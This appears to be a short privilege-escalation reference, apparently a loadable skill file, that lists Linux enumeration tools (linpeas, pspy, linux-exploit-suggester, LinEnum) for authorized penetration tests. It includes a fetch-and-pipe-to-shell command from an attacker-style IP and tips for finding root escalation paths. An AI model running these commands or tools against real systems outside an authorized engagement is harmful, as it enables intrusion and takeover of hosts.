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One line: Linux + Windows local privilege-escalation tool arsenal for authorized engagements. Trigger signals: "privesc", "got a shell", "escalate", "root", "SYSTEM", initial access gained but not root. Authorized, in-scope targets only.

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# Local Privilege Escalation Arsenal

Loads once a foothold/shell exists and you need root/SYSTEM. Authorized, in-scope targets only.
Enumerate the cheap wins first (`sudo -l`, SUID, caps / `whoami /priv`) before reaching for
kernel or token exploits.

## Linux

### Automated enumeration
- **linpeas.sh** — one-shot enum of every common vector; run early. `curl 10.10.14.5:8000/linpeas.sh | sh` (or transfer + `./linpeas.sh -a`). Grep the output: red/yellow highlights = likely wins. Look for `sudo`, `SUID`, `Capabilities`, `writable` paths, `PATH`, cron, cleartext creds. Gotcha: noisy — pipe to a file (`./linpeas.sh > lp.txt`) and read it, don't scroll the terminal.
- **pspy** — watches processes/cron without root; catches root-run cron jobs and their commands. `./pspy64 -pf -i 1000` (`-p` procs, `-f` file events, `-i` poll ms). Gotcha: leave it running a few minutes to catch periodic cron.
- **linux-exploit-suggester** (LES) — maps `uname -a` / kernel to public exploits. `./les.sh` on target, or `./les.sh -k 5.4.0`. Treat output as leads to verify, not guaranteed.
- **LinEnum** — older but reliable broad enum; complements linpeas. `./LinEnum.sh -t` (`-t` = thorough).
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